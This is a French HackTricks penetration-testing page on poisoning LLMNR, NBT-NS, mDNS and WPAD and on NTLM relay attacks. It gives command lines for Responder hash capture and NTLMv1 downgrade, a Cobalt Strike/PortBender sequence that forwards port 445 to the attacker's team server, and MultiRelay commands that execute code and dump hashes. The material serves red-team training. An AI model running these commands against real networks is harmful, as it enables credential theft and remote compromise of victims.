Spoofing LLMNR, NBT-NS, mDNS/DNS et WPAD et attaques de relais

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Protocoles Réseau

Protocoles de Résolution de Nom Local

  • LLMNR, NBT-NS et mDNS :
  • Microsoft et d'autres systèmes d'exploitation utilisent LLMNR et NBT-NS pour la résolution de noms locaux lorsque DNS échoue. De même, les systèmes Apple et Linux utilisent mDNS.
  • Ces protocoles sont susceptibles d'interception et de spoofing en raison de leur nature non authentifiée et de diffusion sur UDP.
  • Responder peut être utilisé pour usurper des services en envoyant des réponses falsifiées aux hôtes interrogeant ces protocoles.
  • Des informations supplémentaires sur l'usurpation de services utilisant Responder peuvent être trouvées ici.

Protocole de Découverte Automatique de Proxy Web (WPAD)

  • WPAD permet aux navigateurs de découvrir automatiquement les paramètres de proxy.
  • La découverte est facilitée via DHCP, DNS, ou un retour à LLMNR et NBT-NS si DNS échoue.
  • Responder peut automatiser les attaques WPAD, dirigeant les clients vers des serveurs WPAD malveillants.

Responder pour le Poisoning de Protocole

  • Responder est un outil utilisé pour empoisonner les requêtes LLMNR, NBT-NS et mDNS, répondant sélectivement en fonction des types de requêtes, ciblant principalement les services SMB.
  • Il est préinstallé dans Kali Linux, configurable à /etc/responder/Responder.conf.
  • Responder affiche les hachages capturés à l'écran et les enregistre dans le répertoire /usr/share/responder/logs.
  • Il prend en charge à la fois IPv4 et IPv6.
  • La version Windows de Responder est disponible ici.

Exécution de Responder

  • Pour exécuter Responder avec les paramètres par défaut : responder -I <Interface>
  • Pour un sondage plus agressif (avec des effets secondaires potentiels) : responder -I <Interface> -P -r -v
  • Techniques pour capturer les défis/réponses NTLMv1 pour un craquage plus facile : responder -I <Interface> --lm --disable-ess
  • L'usurpation WPAD peut être activée avec : responder -I <Interface> --wpad
  • Les requêtes NetBIOS peuvent être résolues à l'IP de l'attaquant, et un proxy d'authentification peut être mis en place : responder.py -I <interface> -Pv

Poisoning DHCP avec Responder

  • Le spoofing des réponses DHCP peut empoisonner de manière permanente les informations de routage d'une victime, offrant une alternative plus discrète au poisoning ARP.
  • Cela nécessite une connaissance précise de la configuration du réseau cible.
  • Exécution de l'attaque : ./Responder.py -I eth0 -Pdv
  • Cette méthode peut capturer efficacement les hachages NTLMv1/2, mais nécessite une manipulation prudente pour éviter toute perturbation du réseau.

Capture de Credentials avec Responder

  • Responder usurpera des services en utilisant les protocoles mentionnés ci-dessus, capturant des credentials (généralement NTLMv2 Challenge/Réponse) lorsqu'un utilisateur tente de s'authentifier contre les services usurpés.
  • Des tentatives peuvent être faites pour rétrograder à NetNTLMv1 ou désactiver ESS pour un craquage de credentials plus facile.

Il est crucial de noter que l'utilisation de ces techniques doit être effectuée légalement et éthiquement, en s'assurant d'une autorisation appropriée et en évitant toute perturbation ou accès non autorisé.

Inveigh

Inveigh est un outil pour les testeurs de pénétration et les équipes rouges, conçu pour les systèmes Windows. Il offre des fonctionnalités similaires à Responder, effectuant des attaques de spoofing et de l'homme du milieu. L'outil a évolué d'un script PowerShell à un binaire C#, avec Inveigh et InveighZero comme principales versions. Des paramètres détaillés et des instructions peuvent être trouvés dans le wiki.

Inveigh peut être utilisé via PowerShell :

powershell
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Ou exécuté en tant que binaire C#:

bash
Inveigh.exe

NTLM Relay Attack

Cette attaque exploite les sessions d'authentification SMB pour accéder à une machine cible, accordant un shell système si elle réussit. Les prérequis clés incluent :

  • L'utilisateur authentifié doit avoir un accès administrateur local sur l'hôte relayé.
  • La signature SMB doit être désactivée.

445 Port Forwarding and Tunneling

Dans les scénarios où l'introduction directe dans le réseau n'est pas réalisable, le trafic sur le port 445 doit être redirigé et tunnelé. Des outils comme PortBender aident à rediriger le trafic du port 445 vers un autre port, ce qui est essentiel lorsque l'accès administrateur local est disponible pour le chargement de pilotes.

PortBender setup and operation in Cobalt Strike:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Autres outils pour l'attaque de relais NTLM

  • Metasploit : Configuré avec des proxies, des détails sur les hôtes locaux et distants.
  • smbrelayx : Un script Python pour relayer les sessions SMB et exécuter des commandes ou déployer des portes dérobées.
  • MultiRelay : Un outil de la suite Responder pour relayer des utilisateurs spécifiques ou tous les utilisateurs, exécuter des commandes ou extraire des hachages.

Chaque outil peut être configuré pour fonctionner via un proxy SOCKS si nécessaire, permettant des attaques même avec un accès réseau indirect.

Fonctionnement de MultiRelay

MultiRelay est exécuté depuis le /usr/share/responder/tools répertoire, ciblant des IP ou des utilisateurs spécifiques.

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Ces outils et techniques forment un ensemble complet pour mener des attaques par relais NTLM dans divers environnements réseau.

Forcer les connexions NTLM

Dans Windows, vous pouvez être en mesure de forcer certains comptes privilégiés à s'authentifier sur des machines arbitraires. Lisez la page suivante pour apprendre comment :

Force NTLM Privileged Authentication

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks